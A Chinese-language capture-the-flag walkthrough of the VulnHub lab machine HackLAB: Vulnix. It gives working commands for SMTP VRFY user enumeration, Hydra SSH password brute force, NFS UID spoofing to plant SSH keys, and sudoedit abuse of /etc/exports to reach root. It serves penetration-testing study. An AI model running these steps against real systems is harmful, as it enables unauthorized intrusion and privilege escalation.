【Vulnhub通关】HackLAB:Vulnix


准备工作

靶机基本信息

靶机名称:HackLAB Vulnix

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(手动设置)

渗透测试目标:获取靶机root权限并找到名为trophy的文件

下载地址: 1. HackLAB: Vulnix ~ VulnHub

2. HackLAB_Vulnix.7z_免费高速下载|百度网盘-分享无限制


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机IP地址发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以确定MAC设备名一栏为VMware, Inc.的一项即为靶机,IP地址为192.168.2.107

防火墙检测

下面对靶机的防火墙情况进行检测。首先检测ICMP连通性:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.107
PING 192.168.2.107 (192.168.2.107) 56(84) bytes of data.
64 bytes from 192.168.2.107: icmp_seq=1 ttl=64 time=2.03 ms
64 bytes from 192.168.2.107: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.2.107: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.2.107: icmp_seq=4 ttl=64 time=0.984 ms

--- 192.168.2.107 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.984/1.263/2.029/0.442 ms

发现可以连通靶机。使用Nmap工具检测防火墙:

shell 复制代码
nmap -sF -T4 -p- 192.168.2.107

很好,看来在渗透过程当中大概率不需要担心防火墙问题。

网络服务扫描

确定了靶机的防火墙状态之后,我们就可以使用nmap对靶机进行网络服务和操作系统的探测。

shell 复制代码
# TCP SYN半开放扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.107

从中可以得知以下信息:

端口 传输层协议 应用层协议 详细信息
22 TCP SSH OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25 TCP SMTP Postfix smtpd
79 TCP Finger(用户信息查询协议) Linux fingerd
110 995 TCP POP3 ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
111 TCP RPC rpcbind 2-4 (RPC #100000)
143 993 TCP IMAP Dovecot imapd
512 513 TCP 未知 未知
514 TCP 未知 被应用层防火墙阻断
2049 35606 41352 42439 46640 54966 TCP NFS 2-3 (RPC #100227) 1-4 (RPC #100021) 1-3 (RPC #100005) 1-3 (RPC #100005) 1 (RPC #100024) 1-3 (RPC #100005)

同时得知靶机上操作系统为Ubuntu Linux,内核版本为Linux 2.6.32 - 3.10


服务探测

SSH服务(22端口)

先尝试通过SSH连接一下靶机,看看会不会发生什么奇怪的事情(文本信息提示):

shell 复制代码
ssh root@192.168.2.107

看来靶机的SSH没有给出提示文本。通过nc工具确定一下Banner信息:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 192.168.2.107 22 
(UNKNOWN) [192.168.2.107] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1
^C

邮件服务

从网络服务扫描阶段得知,靶机的25110143993995端口为邮件服务端口。下面对其进行探测扫描。

首先使用Nmap脚本探测SMTP服务(25端口):

shell 复制代码
nmap --script=*smtp* -p 25 192.168.2.107

从中我们可以获得以下信息:

  • smtp-enum-users脚本无法枚举用户
  • 邮件服务器并未使用Exim软件,无法使用CVE漏洞攻击 (因为Exploit DB中的大部分有效漏洞都是Exim的)
  • 靶机的SMTP服务支持以下命令:vulnixPIPELININGSIZEVRFYETRNSTARTTLSENHANCEDSTATUSCODES8BITMIMEDSN

其中,最有价值的SMTP命令为VRFY该命令接收一个SMTP用户名参数,并向服务器查询该用户是否存在,若输入的用户名存在则返回状态码252,否则返回状态码550 。也就是说,我们只需要提供字典,就可以通过该命令对服务器的SMTP用户列表进行暴力破解。

这里我们通过Kali Linux自带的smtp-enum-users工具进行破解,字典选用/usr/share/wordlists/metasploit下的unix_users.txt。该字典包含了大量Linux操作系统上常见的用户名。

爆破命令如下:

shell 复制代码
# -M  指定SMTP爆破命令
# -U  指定用户名字典
# -t  指定目标
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.2.107 > ./smtp用户扫描结果.txt 

发现了28个账户。其中rootROOTuser账户比较显眼。除了root账户,判断它们是使用者而非系统建立的。

NFS文件共享服务

共享文件探测

根据Nmap的扫描结果,NFS网络共享服务使用了204935606413524243946640549666个端口。我们可以通过showmount命令查看靶机的哪些目录被共享:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# showmount -e 192.168.2.107                                                                                        
Export list for 192.168.2.107:
/home/vulnix *

可以看到靶机上很有可能存在一个名为vulnix的账户,而且它的家目录被共享了出来。

尝试使用SMTP邮件服务的VRFY命令验证用户是否存在:

果然。。。。。。

NFS服务简介

NFS,Network File System,中文为网络文件系统 。NFS服务的作用就是将服务器的文件以文件系统的形式共享给多个用户NFS服务依赖于RPC协议

下面举一个比较常见的案例:在网吧或者数据中心中,管理员通常在一台中心服务器上安装NFS服务。中心服务器上共享的是局域网内所有主机的所有用户的个人目录 ,这样就可以节省单台主机的数据存储成本。而如果在客户端内查看当前用户的个人目录,会发现它在肉眼上和普通的目录没有区别,但实际上该目录是由NFS服务挂载的网络共享目录

NFS服务进程

NFS网络文件系统会启动4个子服务:

  • portmapper,作用为RPC程序号解释为本机的网络端口号 。当客户端向其发起查询请求时,它会返回NFS mountd服务注册的端口号
  • mountd,NFS的访问控制程序 。作用为检查客户机是否在NFS的访问控制列表内,并向客户端连接发放令牌
  • idmapd,NFS的用户账号集中映射程序 。作用为识别客户机和服务器的系统账号信息
  • nfsd,NFS的主进程。作用为向服务器内核发送文件系统指令并返回执行结果

NFS工作流程

NFS客户端向服务器发送一次请求的完整流程如下:

  1. 本地用户查看网络目录文件,发送list指令到客户机内核
  2. 客户机内核识别出该目录为NFS网络共享目录,随即发送RPC数据包,向服务器的111号端口查询服务器NFS mountd服务注册的端口号
  3. 服务器接收了客户机的查询指令,返回了mountd服务的端口号。
  4. 客户机向服务器的mountd服务端口发送访问请求
  5. 服务器的mountd服务接收到客户机的访问请求后,首先查询访问控制列表 ,若客户机允许访问,则创建访问令牌并将其返回给客户机
  6. 客户机带访问令牌访问nfsd主服务nfsd主服务校验令牌后 发送list指令到服务器内核并向客户机返回执行结果。若客户机用户UIDGID经集中映射后,和要访问的文件所有者UIDGID信息不一致,则返回拒绝访问。
  7. 客户机内核接收到执行结果后,将其返回至用户Shell。流程结束。

NFS安全问题

我们都知道,NFS服务只是根据客户机发送的UIDGID信息进行文件权限识别。但是如果有一台恶意机器通过已经泄露的UIDGID信息访问甚至向服务器上传或覆盖文件呢?

一般情况下,只要在恶意机器中创建一个和服务器文件所有者相同UIDGID的账户,就可以对服务器文件进行读写,如果允许的话。这样攻击者就可以对机器进行渗透甚至提权。

Finger服务(79端口)

Linux Finger服务介绍

Finger是一个用于获取本地或远程计算机用户信息的Linux服务 。当在本地主机执行finger命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理。如果指定要查看的具体用户名,将会返回更加详细的信息。

命令格式:

shell 复制代码
# 一般格式: finger [选项] [用户名@主机名] (最详细信息)
finger root
finger root@192.168.2.107

Finger用户信息探查

既然靶机开放了Finger服务,那我们就顺带探查一下用户基本信息:

shell 复制代码
finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data}@192.168.2.107 

但是没有发现什么有价值的信息:

针对靶机的服务探测结束,下面进入渗透测试部分


渗透测试

SSH爆破

通过前面的服务探测,我们已经得知了SMTP服务器中有不少于28个用户。而这些已经发现的用户同时大概率是靶机操作系统中的用户 。既然已经得知了用户列表,那么我们就可以挑选一些高价值的目标用户进行SSH暴力破解。

经过一番筛选,挑选出了4个用户进行爆破:rootROOTuservulnix(对NFS服务进行探查时发现) 。字典文件选用/usr/share/wordlists/metasploit/unix_passwords.txt

注意将4个用户名一行一个保存在文本文件内

shell 复制代码
hydra -L ./userlist -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.2.107 

经过接近1小时的爆破后,我们成功找到了user用户的密码:

登录信息如下:

  • 用户名:user
  • 密码:letmein

尝试使用Termius软件登录SSH:

成功!!!

直接使用passwd改密码:

shell 复制代码
user@vulnix:~$ passwd
Changing password for user.
(current) UNIX password: *******
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

对靶机的渗透测试结束,进入权限提升部分


权限提升

本地信息收集

进入靶机之后,首先进行对靶机操作系统的信息收集。为了方便,这里首先使用自动化工具LinPeas进行扫描收集。GitHub地址:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

将下载好的linpeas.sh通过Termius软件上传到靶机后,赋予执行权限并运行:

shell 复制代码
chmod 777 ./linpeas.sh
./linpeas.sh

下面展示收集到的部分关键信息:

靶机系统基本信息

得知靶机操作系统为Ubuntu 12.04.1 LTS,内核版本为3.2.0-29-generic-pae

Sudo版本信息

Text 复制代码
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.3p1

用户环境变量信息

可用的提权漏洞

  • dirty_cow:CVE-2016-5195
  • exploit-x:CVE-2018-14665
  • msr:CVE-2013-0268
  • perf_swevent:CVE-2013-2094

系统进程信息

系统计划任务

Text 复制代码
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

网络端口状态

Linux用户和组列表

特殊权限文件

看了一圈,并没有什么值得注意的地方。突然想到靶机有NFS文件系统服务,而且它共享了用户vulnix的家目录。为什么不试试NFS提权?

查看用户vulnixUID和其所属组的GID,发现为2008:2008。既然如此,我们直接在本地创建一个UID和GID均为2008的用户对NFS进行挂载即可。

尝试挂载NFS提权

首先在Kali Linux中执行以下命令,创建恶意NFS用户并建立挂载目录进行挂载:

shell 复制代码
groupadd -g 2008 nfsattack
adduser --uid 2008 --gid 2008 nfsattack
mkdir /mnt/vulnix_nfs
chown -hR nfsattack:nfsattack /mnt/vulnix_nfs
mount -t nfs 192.168.2.107:/home/vulnix /mnt/vulnix_nfs

进入目录/mnt/vulnix,通过ls -lA命令查看文件:

发现几乎什么也没有。尝试创建文件:

成功!

既然如此,我们就直接创建SSH配置文件夹并上传公钥文件

首先切换至原用户,使用ssh-keygen命令生成公私钥,并将公钥文件改名为authorized_keys上传,权限为600

shell 复制代码
exit
ssh-keygen
cat ~/.ssh/id_rsa.pub > /home/nfsattack/authorized_keys
su nfsattack
cd /mnt/vulnix_nfs
mkdir .ssh
cat ~/authorized_keys > ./.ssh/authorized_keys
chmod 600 ./.ssh/*

随后打开Termius的设置面板,点击Keychain一项,将生成的SSH公私钥信息添加进去:

编辑SSH连接信息,用户名填入vulnix,选择公钥连接,密码为空 ,点击Connect按钮:

成功!!

使用sudo -l命令查看该用户是否有Sudo权限,发现该用户可以无密码修改NFS配置文件/etc/exports

直接执行命令:

shell 复制代码
sudoedit /etc/exports

修改NFS配置,令其共享/root目录,这样我们就可以针对root用户上传SSH公钥信息。修改完毕之后这里要手动重启虚拟机。。。。

重启之后,使用攻击机的root用户重新挂载并访问/mnt/vulnix_nfs共享目录:

shell 复制代码
mount -t nfs 192.168.2.107:/root /mnt/vulnix_nfs
cd vulnix_nfs
ls -lA

和之前的操作一样,将本机用户的SSH公钥直接上传:

shell 复制代码
mkdir .ssh
cd .ssh
cat ~/.ssh/id_rsa.pub > ./authorized_keys
chmod 600 ./authorized_keys

Termius软件中将SSH用户名修改为root,其它保持不变,直接连接:

提权成功!!!!


Flag展示

文件名:trophy.txt
文件大小:33.00Bytes
MD5:67d6604128f3f1acbe9ee33ca00d8586
SHA256:5ceb3bdd0fe791d2b51b74c51b08863dbbf746728b320e1d572b95a0b887c646

文件内容截图如下:


本次靶机渗透到此结束

相关推荐
乐迪信息1 小时前
乐迪信息:船舶AI逆行检测算法在单向航道中的强制管控
大数据·人工智能·安全·计算机视觉·目标跟踪
小程故事多_802 小时前
无 GitAI 依赖|企业 AI 编码合规管控 + 全生命周期追溯,实现效率与安全双向破局
人工智能·安全·架构·aigc·ai编程·harness
lingggggaaaa2 小时前
PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
数据库·sql·安全·web安全·php
OPHKVPS2 小时前
严重漏洞曝光:Google Fast Pair(WhisperPair)允许攻击者在 14 米内无声劫持无线耳机、窃听对话并追踪位置
安全
xixixi777772 小时前
微软推出 Critique 双模型协作系统:GPT + Claude 协同,开启“生成 + 审查”新范式
人工智能·安全·ai·微软·大模型·多模态·合规
s听风忆雪2 小时前
aliyun 阿里云服务器 mysql 开启安全组 3306 依然访问不了
服务器·安全·阿里云
wanhengidc2 小时前
云手机 性能不受限 数据安全
服务器·网络·安全·游戏·智能手机
kongba0072 小时前
win系统环境检查工具,powershell 脚本,一次检查AI全面掌握系统运行环境 ,AI 它写代码更兼容,更少折腾,无需中间来回折腾环境配置
网络·安全
NaclarbCSDN3 小时前
User ID controlled by request parameter, with unpredictable user IDs -Burp 复现
网络·安全·网络安全
橙露3 小时前
CentOS 服务器安全加固:防火墙、端口、权限配置
服务器·安全·centos